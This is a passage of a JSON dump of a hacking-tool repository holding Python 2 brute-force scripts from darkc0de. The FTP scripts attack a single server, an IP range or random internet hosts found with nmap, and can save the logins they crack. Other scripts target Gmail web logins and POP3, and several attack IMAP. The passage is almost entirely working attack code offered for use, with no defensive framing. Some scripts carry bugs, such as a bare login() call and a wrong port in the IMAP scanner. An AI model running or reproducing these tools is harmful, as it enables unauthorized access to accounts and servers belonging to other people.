login.\\n\"\n\t\tsys.exit(1)\n\n\tif re.search(\"The email address and password you entered did not match.\",site) == None:\n\t\tprint \"\\n\\t[!] Login Successfull:\",sys.argv[1],word,\"\\n\"\n\t\tsys.exit(1)\n\telse:\n\t\tif verbose == 1:\n\t\t\tprint \"[-] Login Failed:\",word\nprint \"\\n[-] Brute Complete\\n\"\n\t"
  },
  {
    "path": "ftpbrute.py",
    "content": "#!usr/bin/python\n#Ftp Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, ftplib\nfrom ftplib import FTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./ftpbrute.py <server> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\ntry:\n\tf = FTP(sys.argv[1])\n\tprint \"[+] Response:\",f.getwelcome()\nexcept (ftplib.all_errors):\n\tpass\n\ntry:\n\tprint \"\\n[+] Checking for anonymous login\\n\"\n\tftp = FTP(sys.argv[1])\n\tftp.login()\n\tftp.retrlines('LIST')\n\tprint \"\\t\\nAnonymous login successful!!!\\n\"\n\tftp.quit()\nexcept (ftplib.all_errors): \n\tprint \"\\tAnonymous login unsuccessful\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn value[0][:-1], users[0]\n\telse:\n\t\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\tftp = FTP(sys.argv[1])\n\t\t\tftp.login(user, value)\n\t\t\tftp.retrlines('LIST')\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\tftp.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept (ftplib.all_errors), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "ftpbrute_iprange.py",
    "content": "#!usr/bin/python\n#Ftp Brute Forcer, searches ip_range for hosts using ftp.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, ftplib, re\nfrom ftplib import FTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tftp = FTP(ip)\n\t\t\tftp.login(user[:-1], value)\n\t\t\tftp.retrlines('LIST')\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tftp.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept (ftplib.all_errors), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\ttry:\n\t\tf = FTP(ip)\n\t\tprint \"[+] Response:\",f.getwelcome()\n\texcept (ftplib.all_errors):\n\t\tpass\n\ttry:\n\t\tprint \"\\n[+] Checking for anonymous login\\n\"\n\t\tftp = FTP(ip)\n\t\tftp.login()\n\t\tftp.retrlines('LIST')\n\t\tprint \"\\t\\nAnonymous login successful!!!\\n\"\n\t\tftp.quit()\n\texcept (ftplib.all_errors): \n\t\tprint \"\\tAnonymous login unsuccessful\\n\"\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(1)\n"
  },
  {
    "path": "ftpbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap or socket to check if ftp is open on a random ip. If\n#the server is found it will check for anonymous login and then\n#continue to bruteforce. It also can save successful logins\n#to an external file.\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, ftplib, re, socket\nfrom ftplib import FTP\n\ndef rand():\n\ta = random.randrange(255) + 1\n\tb = random.randrange(255) + 1\n\tc = random.randrange(255) + 1\n\td = random.randrange(255) + 1\n\tip = \"%d.%d.%d.%d\" % (a,b,c,d)\n\treturn ip\n\ndef timer():\n\tnow = time.localtime(time.time())\n\treturn time.asctime(now)\n\ndef nmapscan():\n\t\n\t#Change this to your nmap preferences\n\tnmap = \"nmap -P0 -iR 1 -p 21 | grep open -B 3\"\n\tnmap = StringIO.StringIO(commands.getstatusoutput(nmap)[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\t\t\ndef servscan():\n\t\n\tipaddr = rand()\n\ttry:\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\ts.settimeout(5)\n\t\ts.connect((ipaddr, 21))\n\t\ts.close() \n\t\treturn ipaddr\n\texcept socket.error:\n\t\tpass\n\t\t\ndef workhorse(ipaddr, user, word):\n\tuser = user.replace(\"\\n\",\"\")\n\tword = word.replace(\"\\n\",\"\")\n\ttry:\n\t\tprint \"-\"*12\n\t\tprint \"User:\",user,\"Password:\",word\n\t\tftp = FTP(ipaddr)\n\t\tftp.login(user, word)\n\t\tftp.retrlines('LIST')\n\t\tprint \"\\t\\n[!] Login successful:\",user, word\n\t\tif txt != None:\n\t\t\tsave_file.writelines(user+\" : \"+word+\" @ \"+ipaddr+\":21\\n\")\n\t\tftp.quit()\n\t\tsys.exit(2)\n\texcept (ftplib.all_errors), msg: \n\t\t#print \"[-] An error occurred:\", msg\n\t\tpass\n\t\t\ndef brute(ipaddr):\n\tprint \"-\"*30\n\tprint \"\\n[+] Attempting BruteForce:\",ipaddr,\"\\n\"\n\ttry:\n\t\tf = FTP(ipaddr)\n\t\tprint \"[+] Response:\",f.getwelcome()\n\texcept (ftplib.all_errors):\n\t\tpass\n\ttry:\n\t\tprint \"\\n[+] Checking for anonymous login:\",ipaddr,\"\\n\"\n\t\tftp = FTP(ipaddr)\n\t\tftp.login()\n\t\tftp.retrlines('LIST')\n\t\tprint \"\\t\\n[!] Anonymous login successful!!!\\n\"\n\t\tif txt != None:\n\t\t\tsave_file.writelines(\"Anonymous:\"+ipaddr+\":21\\n\")\n\t\tftp.quit()\n\texcept (ftplib.all_errors): \n\t\tprint \"[-] Anonymous login unsuccessful\\n\"\n\tfor user in users:\n\t\tfor word in words:\n\t\t\twork = threading.Thread(target = workhorse, args=(ipaddr, user, word)).start()\n\t\t\ttime.sleep(1)\n\nif len(sys.argv) not in [4,5,6,7]:\n\tprint \"\\nUsage: ./randftpbf.py <how many to scan> <userlist> <wordlist> <options>\"\n\tprint \"\\t[option]\"\n\tprint \"\\t   -nmap/-n : Uses sockets instead of nmap to find open ports\"\n\tprint \"\\t   -save/-s <file> : Save Successful Logins\"\n\tprint \"\\nExample: ./randftpbf.py 10000 users.txt words.txt -nmap -save hits.txt\\n\"\n\tsys.exit(0)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"[-] Error: Check your userlist path\\n\"\n  \tsys.exit(1)\ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\t\nfor arg in sys.argv[1:]:\n\tif arg.lower() == \"-nmap\" or arg.lower() == \"-n\":\n\t\tnmap = 1\n\tif arg.lower() == \"-save\" or arg.lower() == \"-s\":\n\t\ttxt = sys.argv[int(sys.argv[1:].index(arg))+2]\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com RandomftpBF v1.1\"\nprint \"\\t-----------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\ntry:\n\tif txt:\n\t\tsave_file = open(txt, \"a\")\n\t\tprint \"[+] Save File:\",txt\nexcept(NameError):\n\ttxt = None\n\tprint \"[-] Saving Mode Off\"\n\t\nprint \"[+] Scan Started:\",timer()\t\t\ntry:\n\tif nmap == 1:\n\t\tprint \"[+] Socket Scan Mode\\n\"\n\t\tfor x in xrange(int(sys.argv[1])):\n\t\t\tprint \"[-]\",x+1,\"of\",sys.argv[1]\n\t\t\t#Change this limit for faster results.\n\t\t\ttime.sleep(3)\n\t\t\tipaddr = servscan()\n\t\t\tif ipaddr != None:\n\t\t\t\tbrute(ipaddr)\n\t\tprint \"\\n[+] Scan Complete:\",timer()\n\telse:\n\t\tprint \"\\n[-] Error: Check your options\\n\"\n\t\tsys.exit(1)\nexcept(NameError):\n\tprint \"[+] Nmap Mode\\n\"\n\tfor x in xrange(int(sys.argv[1])):\n\t\tprint \"[-]\",x+1,\"of\",sys.argv[1]\n\t\t#Change this limit for faster results.\n\t\ttime.sleep(3)\n\t\tipaddr = nmapscan()\n\t\tif ipaddr != None:\n\t\t\tbrute(ipaddr[0])\n\tprint \"\\n[+] Scan Complete:\",timer()\n\n\n"
  },
  {
    "path": "ftpbrute_random1.0.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if ftp port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, ftplib, re\nfrom ftplib import FTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./ftpbrute.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 21 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tftp = FTP(ipaddr[0])\n\t\t\tftp.login(user[:-1], value)\n\t\t\tftp.retrlines('LIST')\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tftp.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept (ftplib.all_errors), msg: \n\t\t\tprint \"An error occurred:\", msg\n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != None:\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\ttry:\n\t\t\tf = FTP(ipaddr[0])\n\t\t\tprint \"[+] Response:\",f.getwelcome()\n\t\texcept (ftplib.all_errors):\n\t\t\tpass\n\t\ttry:\n\t\t\tprint \"\\n[+] Checking for anonymous login:\",ipaddr[0],\"\\n\"\n\t\t\tftp = FTP(ipaddr[0])\n\t\t\tftp.login()\n\t\t\tftp.retrlines('LIST')\n\t\t\tprint \"\\t\\nAnonymous login successful!!!\\n\"\n\t\t\tftp.quit()\n\t\texcept (ftplib.all_errors): \n\t\t\tprint \"\\tAnonymous login unsuccessful\\n\"\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "gmailbrute.py",
    "content": "#!usr/bin/python\n#Gmail Brute Forcer\n#To use this script you need ClientCookie and Client Form.\n#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz\n#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz\n#To install the package, run the following command:\n#python setup.py build\n#then (with appropriate permissions)\n#python setup.py install\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, socket, httplib, re\ntry:\n\tsys.path.append('ClientCookie-1.0.3')\n\timport ClientCookie\n\tsys.path.append('ClientForm-0.1.17')\n\timport ClientForm\nexcept(ImportError):\n\tprint \"\\nTo use this script you need ClientCookie and Client Form.\"\n\tprint \"Read the top intro for instructions.\\n\"\n\tsys.exit(1)\nfrom copy import copy\n\nif len(sys.argv) !=3:\n\tprint \"Usage: ./gmailbrute.py <user> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com GmailBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server: https://www.gmail.com/\"\nprint \"[+] User:\",sys.argv[1]\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tglobal success\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",sys.argv[1],\"Password:\",value\n\t\t\tcookieJar = ClientCookie.CookieJar()\n\t\t\topener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))\n\t\t\topener.addheaders = [(\"User-agent\",\"Mozilla/5.0 (compatible)\")]\n\t\t\tClientCookie.install_opener(opener)\n\t\t\tfp = ClientCookie.urlopen(\"https://www.gmail.com/\")\n\t\t\tforms = ClientForm.ParseResponse(fp)\n\t\t\tform = forms[0]\n\t\t\tform[\"Email\"]  = sys.argv[1] \n\t\t\tform[\"Passwd\"] = value      \n\t\t\tfp = ClientCookie.urlopen(form.click())\n\t\t\tsite = fp.readlines()\n\t\t\tfor line in site:\n\t\t\t\tif re.search(\"Gmail - Inbox\", line):\n\t\t\t\t\tprint \"\\tSuccessful Login:\", value\n\t\t\t\t\tsuccess =  value\n\t\t\t\t\tsys.exit(1)\n\t\t\tfp.close()\n\t\texcept(socket.gaierror), msg: \n\t\t\tpass\n \nfor i in range(len(words)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\ntime.sleep(3)\ntry:\n\tif success:\n\t\tprint \"\\n\\n[+] Successful Login: https://www.gmail.com/\"\n\t\tprint \"[+] User:\",sys.argv[1],\" Password:\",success\nexcept(NameError):\n\tprint \"\\n[+] Couldn't find correct password\"\n\tpass\nprint \"\\n[+] Done\\n\"\n"
  },
  {
    "path": "gmailpopbrute.py",
    "content": "#!usr/bin/python\n#Gmail Pop3 Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, poplib\nfrom copy import copy\n\nif len(sys.argv) !=3:\n\tprint \"\\n\\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0\"\n\tprint \"\\t   --------------------------------------------------\\n\"\n\tprint \"\\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\\n\"\n\tsys.exit(1)\n\t\nserver = \"pop.gmail.com\"\nsuccess = []\n\ntry:\n  \tusers = open(sys.argv[1], \"r\").readlines()\nexcept(IOError): \n  \tprint \"[-] Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\t\ntry:\n\tpop = poplib.POP3_SSL(server, 995)\n\twelcome = pop.getwelcome()\n\tpop.quit()\nexcept (poplib.error_proto): \n\twelcome = \"No Response\"\n\tpass\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0\"\nprint \"\\t   --------------------------------------------------\\n\"\nprint \"[+] Server:\",server\nprint \"[+] Port: 995\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\nprint \"[+] Server response:\",welcome,\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"[-] Reloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn value[0], users[0]\n\telse:\n\t\treturn value[0], users[0]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\tuser = user.replace(\"\\n\",\"\")\n\t\tvalue = value.replace(\"\\n\",\"\")\n\t\t\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"[+] User:\",user,\"Password:\",value\n\t\t\tpop = poplib.POP3_SSL(server, 995)\n\t\t\tpop.user(user)\n\t\t\tpop.pass_(value)\n\t\t\tprint \"\\t\\t\\n\\nLogin successful:\",user, value\n\t\t\tprint \"\\t\\tMail:\",pop.stat()[0],\"emails\"\n\t\t\tprint \"\\t\\tSize:\",pop.stat()[1],\"bytes\\n\\n\"\n\t\t\tsuccess.append(user)\n\t\t\tsuccess.append(value)\n\t\t\tsuccess.append(pop.stat()[0])\n\t\t\tsuccess.append(pop.stat()[1])\n\t\t\tpop.quit()\n\t\texcept (poplib.error_proto), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\nif len(success) >=1:\n\tprint \"\\n\\n[+] Login successful:\",success[0], success[1]\n\tprint \"\\t[+] Mail:\",success[2],\"emails\"\n\tprint \"\\t[+] Size:\",success[3],\"bytes\\n\"\nprint \"\\n[-] Done\""
  },
  {
    "path": "imapbrute.py",
    "content": "#!usr/bin/python\n#IMAP Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, imaplib, socket\nfrom imaplib import IMAP4\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./imapbrute.py <server> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn value[0][:-1], users[0]\n\telse:\n\t\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\tM = imaplib.IMAP4(sys.argv[1])\n\t\t\tM = login(user, value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value \n\t\t\tM.close()\n\t\t\tM.logout()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\tprint \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "imapbrute_iprange.py",
    "content": "#!usr/bin/python\n#IMAP Brute Forcer, searches ip_range for hosts using imap.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, imaplib, re, socket\nfrom imaplib import IMAP4\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./imapbrute.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tM = imaplib.IMAP4(ip)\n\t\t\tM = login(user[:-1], value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tM.close()\n\t\t\tM.logout()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\tprint \"An error occurred:\", msg\n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(1)\n"
  },
  {
    "path": "imapbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if imap port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, imaplib, re, socket\nfrom imaplib import IMAP4\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./imapbrute.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 143 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tM = imaplib.IMAP4(ipaddr[0])\n\t\t\tM = login(user[:-1], value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tM.close()\n\t\t\tM.logout()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\tprint \"An error occurred:\", 